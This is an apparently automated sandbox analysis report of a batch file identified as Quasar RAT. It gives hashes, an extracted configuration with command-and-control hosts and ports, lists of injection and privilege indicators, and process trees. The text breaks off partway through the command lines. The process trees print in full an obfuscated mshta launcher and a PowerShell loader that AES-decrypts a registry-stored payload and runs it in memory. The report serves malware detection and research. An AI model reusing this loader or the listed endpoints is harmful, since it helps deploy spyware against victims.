quasar | 84ba648cfdd5c2ae8d3292fcc1702e385a1a26e915bd7275b5fde776212f2724

Analysis

max time kernel
40s
max time network
38s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
28/11/2024, 10:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

vape.bat
Size

12.5MB
MD5

cf5b412ffc3ce43cd7ddce602fc67f56
SHA1

221dfcd0868158f676c472d8a5bcf9647f0c7d51
SHA256

84ba648cfdd5c2ae8d3292fcc1702e385a1a26e915bd7275b5fde776212f2724
SHA512

695489d3b02863c382dc4b044bd80825b3f46eadfe4647619a0036da7ab3405b7925e89a457b19ee57995a59dcf8d5f9df237cd4d5d59a6cee3914aeaee2a8ef
SSDEEP

49152:mmlB6XvIxKx/znMtw4e/x4dA+ilmm5C5rsw1y1lkGxJW5RXLnfaWixbVoZmb0nYk:b

Score

10^/10

quasar v2.2.6 | tinsler defense_evasion discovery spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.0.0.0

Botnet

v2.2.6 | Tinsler

throbbing-mountain-09011.pktriot.net:22112

167.71.56.116:22112

throbbing-mountain-09011.pktriot.net:5050

Mutex

cf16a257-7d89-4296-8384-8fca3dbb568f

Attributes

encryption_key
045F98A287DD47B8B5C074D234995A2C5A913042
install_name
.exe
log_directory
$sxr-Logs
reconnect_delay
1000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/4604-65-0x0000026620990000-0x000002662115A000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

description	pid	Process	procid_target
PID 4184 created 652	4184	vape.bat.exe	5
PID 4604 created 652	4604	$sxr-powershell.exe	5
PID 4604 created 652	4604	$sxr-powershell.exe	5

Executes dropped EXE 5 IoCs

pid	Process
4184	vape.bat.exe
3624	$sxr-mshta.exe
4656	$sxr-cmd.exe
4604	$sxr-powershell.exe
976	$sxr-powershell.exe

Hide Artifacts: Hidden Window 1 TTPs 2 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
4604	$sxr-powershell.exe
976	$sxr-powershell.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 4184 set thread context of 5012	4184	vape.bat.exe	79
PID 4184 set thread context of 1020	4184	vape.bat.exe	81
PID 4604 set thread context of 4540	4604	$sxr-powershell.exe	86
PID 4604 set thread context of 1688	4604	$sxr-powershell.exe	88
PID 4604 set thread context of 4392	4604	$sxr-powershell.exe	90
PID 4604 set thread context of 2792	4604	$sxr-powershell.exe	91

Drops file in Windows directory 6 IoCs

description	ioc	Process
File created	C:\Windows\$sxr-powershell.exe	vape.bat.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	vape.bat.exe
File created	C:\Windows\$sxr-mshta.exe	vape.bat.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	vape.bat.exe
File created	C:\Windows\$sxr-cmd.exe	vape.bat.exe
File opened for modification	C:\Windows\$sxr-cmd.exe	vape.bat.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	$sxr-mshta.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4184	vape.bat.exe
4184	vape.bat.exe
4184	vape.bat.exe
5012	dllhost.exe
5012	dllhost.exe
1020	dllhost.exe
1020	dllhost.exe
1020	dllhost.exe
1020	dllhost.exe
5012	dllhost.exe
5012	dllhost.exe
4184	vape.bat.exe
4184	vape.bat.exe
4604	$sxr-powershell.exe
4604	$sxr-powershell.exe
4604	$sxr-powershell.exe
4604	$sxr-powershell.exe
4540	dllhost.exe
4540	dllhost.exe
4540	dllhost.exe
4540	dllhost.exe
1688	dllhost.exe
1688	dllhost.exe
1688	dllhost.exe
1688	dllhost.exe
4604	$sxr-powershell.exe
4604	$sxr-powershell.exe
976	$sxr-powershell.exe
4604	$sxr-powershell.exe
4392	dllhost.exe
4392	dllhost.exe
4392	dllhost.exe
4392	dllhost.exe
4392	dllhost.exe
4392	dllhost.exe
976	$sxr-powershell.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
4392	dllhost.exe
4392	dllhost.exe
976	$sxr-powershell.exe
976	$sxr-powershell.exe
2792	dllhost.exe
2792	dllhost.exe
4392	dllhost.exe
4392	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
4392	dllhost.exe
4392	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
4392	dllhost.exe
4392	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
4392	dllhost.exe
4392	dllhost.exe
2792	dllhost.exe
2792	dllhost.exe
4392	dllhost.exe
4392	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4184	vape.bat.exe
Token: SeDebugPrivilege	4184	vape.bat.exe
Token: SeDebugPrivilege	5012	dllhost.exe
Token: SeDebugPrivilege	1020	dllhost.exe
Token: SeDebugPrivilege	4604	$sxr-powershell.exe
Token: SeDebugPrivilege	4604	$sxr-powershell.exe
Token: SeDebugPrivilege	4540	dllhost.exe
Token: SeDebugPrivilege	1688	dllhost.exe
Token: SeDebugPrivilege	976	$sxr-powershell.exe
Token: SeDebugPrivilege	4604	$sxr-powershell.exe
Token: SeDebugPrivilege	4392	dllhost.exe
Token: SeDebugPrivilege	2792	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2756	svchost.exe
Token: SeIncreaseQuotaPrivilege	2756	svchost.exe
Token: SeSecurityPrivilege	2756	svchost.exe
Token: SeTakeOwnershipPrivilege	2756	svchost.exe
Token: SeLoadDriverPrivilege	2756	svchost.exe
Token: SeSystemtimePrivilege	2756	svchost.exe
Token: SeBackupPrivilege	2756	svchost.exe
Token: SeRestorePrivilege	2756	svchost.exe
Token: SeShutdownPrivilege	2756	svchost.exe
Token: SeSystemEnvironmentPrivilege	2756	svchost.exe
Token: SeUndockPrivilege	2756	svchost.exe
Token: SeManageVolumePrivilege	2756	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2756	svchost.exe
Token: SeIncreaseQuotaPrivilege	2756	svchost.exe
Token: SeSecurityPrivilege	2756	svchost.exe
Token: SeTakeOwnershipPrivilege	2756	svchost.exe
Token: SeLoadDriverPrivilege	2756	svchost.exe
Token: SeSystemtimePrivilege	2756	svchost.exe
Token: SeBackupPrivilege	2756	svchost.exe
Token: SeRestorePrivilege	2756	svchost.exe
Token: SeShutdownPrivilege	2756	svchost.exe
Token: SeSystemEnvironmentPrivilege	2756	svchost.exe
Token: SeUndockPrivilege	2756	svchost.exe
Token: SeManageVolumePrivilege	2756	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2756	svchost.exe
Token: SeIncreaseQuotaPrivilege	2756	svchost.exe
Token: SeSecurityPrivilege	2756	svchost.exe
Token: SeTakeOwnershipPrivilege	2756	svchost.exe
Token: SeLoadDriverPrivilege	2756	svchost.exe
Token: SeSystemtimePrivilege	2756	svchost.exe
Token: SeBackupPrivilege	2756	svchost.exe
Token: SeRestorePrivilege	2756	svchost.exe
Token: SeShutdownPrivilege	2756	svchost.exe
Token: SeSystemEnvironmentPrivilege	2756	svchost.exe
Token: SeUndockPrivilege	2756	svchost.exe
Token: SeManageVolumePrivilege	2756	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2756	svchost.exe
Token: SeIncreaseQuotaPrivilege	2756	svchost.exe
Token: SeSecurityPrivilege	2756	svchost.exe
Token: SeTakeOwnershipPrivilege	2756	svchost.exe
Token: SeLoadDriverPrivilege	2756	svchost.exe
Token: SeSystemtimePrivilege	2756	svchost.exe
Token: SeBackupPrivilege	2756	svchost.exe
Token: SeRestorePrivilege	2756	svchost.exe
Token: SeShutdownPrivilege	2756	svchost.exe
Token: SeSystemEnvironmentPrivilege	2756	svchost.exe
Token: SeUndockPrivilege	2756	svchost.exe
Token: SeManageVolumePrivilege	2756	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2756	svchost.exe
Token: SeIncreaseQuotaPrivilege	2756	svchost.exe
Token: SeSecurityPrivilege	2756	svchost.exe
Token: SeTakeOwnershipPrivilege	2756	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4604	$sxr-powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1388 wrote to memory of 4184	1388	cmd.exe	78
PID 1388 wrote to memory of 4184	1388	cmd.exe	78
PID 4184 wrote to memory of 5012	4184	vape.bat.exe	79
PID 4184 wrote to memory of 5012	4184	vape.bat.exe	79
PID 4184 wrote to memory of 5012	4184	vape.bat.exe	79
PID 4184 wrote to memory of 5012	4184	vape.bat.exe	79
PID 4184 wrote to memory of 5012	4184	vape.bat.exe	79
PID 4184 wrote to memory of 5012	4184	vape.bat.exe	79
PID 4184 wrote to memory of 5012	4184	vape.bat.exe	79
PID 4184 wrote to memory of 4608	4184	vape.bat.exe	80
PID 4184 wrote to memory of 4608	4184	vape.bat.exe	80
PID 4184 wrote to memory of 4608	4184	vape.bat.exe	80
PID 4184 wrote to memory of 1020	4184	vape.bat.exe	81
PID 4184 wrote to memory of 1020	4184	vape.bat.exe	81
PID 4184 wrote to memory of 1020	4184	vape.bat.exe	81
PID 4184 wrote to memory of 1020	4184	vape.bat.exe	81
PID 4184 wrote to memory of 1020	4184	vape.bat.exe	81
PID 4184 wrote to memory of 1020	4184	vape.bat.exe	81
PID 4184 wrote to memory of 1020	4184	vape.bat.exe	81
PID 4184 wrote to memory of 1020	4184	vape.bat.exe	81
PID 4184 wrote to memory of 1020	4184	vape.bat.exe	81
PID 3624 wrote to memory of 4656	3624	$sxr-mshta.exe	83
PID 3624 wrote to memory of 4656	3624	$sxr-mshta.exe	83
PID 4656 wrote to memory of 4604	4656	$sxr-cmd.exe	85
PID 4656 wrote to memory of 4604	4656	$sxr-cmd.exe	85
PID 4604 wrote to memory of 4540	4604	$sxr-powershell.exe	86
PID 4604 wrote to memory of 4540	4604	$sxr-powershell.exe	86
PID 4604 wrote to memory of 4540	4604	$sxr-powershell.exe	86
PID 4604 wrote to memory of 4540	4604	$sxr-powershell.exe	86
PID 4604 wrote to memory of 4540	4604	$sxr-powershell.exe	86
PID 4604 wrote to memory of 4540	4604	$sxr-powershell.exe	86
PID 4604 wrote to memory of 4540	4604	$sxr-powershell.exe	86
PID 4604 wrote to memory of 1184	4604	$sxr-powershell.exe	87
PID 4604 wrote to memory of 1184	4604	$sxr-powershell.exe	87
PID 4604 wrote to memory of 1184	4604	$sxr-powershell.exe	87
PID 4604 wrote to memory of 1688	4604	$sxr-powershell.exe	88
PID 4604 wrote to memory of 1688	4604	$sxr-powershell.exe	88
PID 4604 wrote to memory of 1688	4604	$sxr-powershell.exe	88
PID 4604 wrote to memory of 1688	4604	$sxr-powershell.exe	88
PID 4604 wrote to memory of 1688	4604	$sxr-powershell.exe	88
PID 4604 wrote to memory of 1688	4604	$sxr-powershell.exe	88
PID 4604 wrote to memory of 1688	4604	$sxr-powershell.exe	88
PID 4604 wrote to memory of 1688	4604	$sxr-powershell.exe	88
PID 4604 wrote to memory of 1688	4604	$sxr-powershell.exe	88
PID 4604 wrote to memory of 976	4604	$sxr-powershell.exe	89
PID 4604 wrote to memory of 976	4604	$sxr-powershell.exe	89
PID 4604 wrote to memory of 4392	4604	$sxr-powershell.exe	90
PID 4604 wrote to memory of 4392	4604	$sxr-powershell.exe	90
PID 4604 wrote to memory of 4392	4604	$sxr-powershell.exe	90
PID 4604 wrote to memory of 4392	4604	$sxr-powershell.exe	90
PID 4604 wrote to memory of 4392	4604	$sxr-powershell.exe	90
PID 4604 wrote to memory of 4392	4604	$sxr-powershell.exe	90
PID 4604 wrote to memory of 4392	4604	$sxr-powershell.exe	90
PID 4604 wrote to memory of 4392	4604	$sxr-powershell.exe	90
PID 4604 wrote to memory of 4392	4604	$sxr-powershell.exe	90
PID 4392 wrote to memory of 652	4392	dllhost.exe	5
PID 4392 wrote to memory of 704	4392	dllhost.exe	7
PID 4392 wrote to memory of 1008	4392	dllhost.exe	12
PID 4392 wrote to memory of 768	4392	dllhost.exe	13
PID 4392 wrote to memory of 736	4392	dllhost.exe	14
PID 4392 wrote to memory of 908	4392	dllhost.exe	15
PID 4392 wrote to memory of 1052	4392	dllhost.exe	16
PID 4392 wrote to memory of 1172	4392	dllhost.exe	18
PID 4392 wrote to memory of 1216	4392	dllhost.exe	19

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:652
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:768
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{f547e807-d8c3-4ba7-8eff-8879ecb8609a}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5012
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{3715be9b-d222-4199-a6f7-9376527e3d7d}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4540
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{35d5efe3-b600-4bc0-b772-b9053e9e62f1}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4392

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1008

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:736

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:908

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1172

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1216
- C:\Windows\$sxr-mshta.exe
  C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-tjptoUybjVuvgCOJtIWn4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
  2⤵
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:3624
- - C:\Windows\$sxr-cmd.exe
    "C:\Windows\$sxr-cmd.exe" /c %$sxr-tjptoUybjVuvgCOJtIWn4312:&#<?=%
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4656
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1904
  - - C:\Windows\$sxr-powershell.exe
      C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function VOHZF($Lwtxx){ $xCaUG=[System.Security.Cryptography.Aes]::Create(); $xCaUG.Mode=[System.Security.Cryptography.CipherMode]::CBC; $xCaUG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $xCaUG.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0='); $xCaUG.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg=='); $CTnvz=$xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')(); $oMfGF=$CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Lwtxx, 0, $Lwtxx.Length); $CTnvz.Dispose(); $xCaUG.Dispose(); $oMfGF;}function nnKof($Lwtxx){ $ABMbT=New-Object System.IO.MemoryStream(,$Lwtxx); $FswzF=New-Object System.IO.MemoryStream; $ZWQus=New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::Decompress); $ZWQus.CopyTo($FswzF); $ZWQus.Dispose(); $ABMbT.Dispose(); $FswzF.Dispose(); $FswzF.ToArray();}function vzvJZ($Lwtxx,$kAWoQ){ $kXIpu=[System.Reflection.Assembly]::Load([byte[]]$Lwtxx); $OPPDg=$kXIpu.EntryPoint; $OPPDg.Invoke($null, $kAWoQ);}$xCaUG1 = New-Object System.Security.Cryptography.AesManaged;$xCaUG1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$qsFQP = $xCaUG1.('rotpyrceDetaerC'[-1..-15] -join '')();$UMIrZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2twxIFMV1JWyz0b8BpHEfA==');$UMIrZ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ, 0, $UMIrZ.Length);$UMIrZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ);$PYyQA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p05ztWCKuMfos2Q8RYoS+FIXy2DypHHbyYGL6Z+cEc8=');$PYyQA = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PYyQA, 0, $PYyQA.Length);$PYyQA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PYyQA);$roofG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Sy8HcJTfKA/mf4hPH+Go6g==');$roofG = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($roofG, 0, $roofG.Length);$roofG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($roofG);$tgmGC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BuxXfqRY1RoP0b/ROY4PrLV7XH6EyWkqL6UOT7VtjFZgNba4DmwvRZ0rEKh6tsW5E4dar7n8yKYorGfhmfzDSchZoElrP0gmf7pENQ75eXbqF+3j4N1LjY1xzYPYeJFwvJGbJvqe3CPoWhNQATtYtY/6ujGYTqqhsjIgqQdcVJyCExpvLG1KTAiDHwbcLEgHzlPLvK+nTj2PYL6WYsFa3I8rptDz3r9IvJABT8A6TOqZRS2q9nM/2K1/IRFUTDKvPPtYy9cd0jq4MTO7gDnvlUAC8kJM0rAwSo8RwA3zKJNYBBv03aq6fIf9zugDa03cb0yO24aIfe5AFN+zOGDLKtWrsyyIVpjarzDCbBlxkhPRynAyHBM2A5pmzVa2gAc2+o8odD180Z07f5ZL3mYwTO8G4arHTtORWkqMdtdm7CA=');$tgmGC = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tgmGC, 0, $tgmGC.Length);$tgmGC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tgmGC);$zvkCv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JVVxi793TWK0eiazbMjyxQ==');$zvkCv = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zvkCv, 0, $zvkCv.Length);$zvkCv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zvkCv);$MrvyW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('y9CiMcnIF08D1mbStDfFzg==');$MrvyW = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MrvyW, 0, $MrvyW.Length);$MrvyW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MrvyW);$UFhRe = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4Gkz3kktZWs5v4iY/fwpuA==');$UFhRe = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UFhRe, 0, $UFhRe.Length);$UFhRe = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UFhRe);$BdNHQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mWujaRBJ7Bka6/SLPc2zjg==');$BdNHQ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BdNHQ, 0, $BdNHQ.Length);$BdNHQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BdNHQ);$NXCWg = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JS1eCTl+J3Vy2lPum4BV+A==');$NXCWg = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NXCWg, 0, $NXCWg.Length);$NXCWg = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NXCWg);$UMIrZ0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Xun+s5YVAeQzgGPJKptAJw==');$UMIrZ0 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ0, 0, $UMIrZ0.Length);$UMIrZ0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ0);$UMIrZ1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tKxTd8rUmwwPDWYqtJ+flg==');$UMIrZ1 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ1, 0, $UMIrZ1.Length);$UMIrZ1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ1);$UMIrZ2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QwPWmxWc7oP0xMzohMzOyA==');$UMIrZ2 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ2, 0, $UMIrZ2.Length);$UMIrZ2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ2);$UMIrZ3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('00EoyZz50MzeF+YVDb5OyQ==');$UMIrZ3 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ3, 0, $UMIrZ3.Length);$UMIrZ3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ3);$qsFQP.Dispose();$xCaUG1.Dispose();if (@(get-process -ea silentlycontinue $UMIrZ3).count -gt 1) {exit};$dINWW = [Microsoft.Win32.Registry]::$BdNHQ.$UFhRe($UMIrZ).$MrvyW($PYyQA);$QJXfU=[string[]]$dINWW.Split('\');$flTmo=nnKof(VOHZF([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QJXfU[1])));vzvJZ $flTmo (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$iBTnS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QJXfU[0]);$xCaUG = New-Object System.Security.Cryptography.AesManaged;$xCaUG.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$CTnvz = $xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')();$iBTnS = $CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iBTnS, 0, $iBTnS.Length);$CTnvz.Dispose();$xCaUG.Dispose();$ABMbT = New-Object System.IO.MemoryStream(, $iBTnS);$FswzF = New-Object System.IO.MemoryStream;$ZWQus = New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::$UMIrZ1);$ZWQus.$NXCWg($FswzF);$ZWQus.Dispose();$ABMbT.Dispose();$FswzF.Dispose();$iBTnS = $FswzF.ToArray();$JJwWP = $tgmGC | IEX;$kXIpu = $JJwWP::$UMIrZ2($iBTnS);$OPPDg = $kXIpu.EntryPoint;$OPPDg.$UMIrZ0($null, (, [string[]] ($roofG)))
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      Hide Artifacts: Hidden Window
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:4604
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{d9250754-5aa3-4993-9310-7341550253ba}
        5⤵
        
        PID:1184
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{4b613d2c-2b75-4949-864d-d3bec0e034f8}
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1688
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4604).WaitForExit();[System.Threading.Thread]::Sleep(5000); function VOHZF($Lwtxx){ $xCaUG=[System.Security.Cryptography.Aes]::Create(); $xCaUG.Mode=[System.Security.Cryptography.CipherMode]::CBC; $xCaUG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $xCaUG.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0='); $xCaUG.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg=='); $CTnvz=$xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')(); $oMfGF=$CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Lwtxx, 0, $Lwtxx.Length); $CTnvz.Dispose(); $xCaUG.Dispose(); $oMfGF;}function nnKof($Lwtxx){ $ABMbT=New-Object System.IO.MemoryStream(,$Lwtxx); $FswzF=New-Object System.IO.MemoryStream; $ZWQus=New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::Decompress); $ZWQus.CopyTo($FswzF); $ZWQus.Dispose(); $ABMbT.Dispose(); $FswzF.Dispose(); $FswzF.ToArray();}function vzvJZ($Lwtxx,$kAWoQ){ $kXIpu=[System.Reflection.Assembly]::Load([byte[]]$Lwtxx); $OPPDg=$kXIpu.EntryPoint; $OPPDg.Invoke($null, $kAWoQ);}$xCaUG1 = New-Object System.Security.Cryptography.AesManaged;$xCaUG1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join 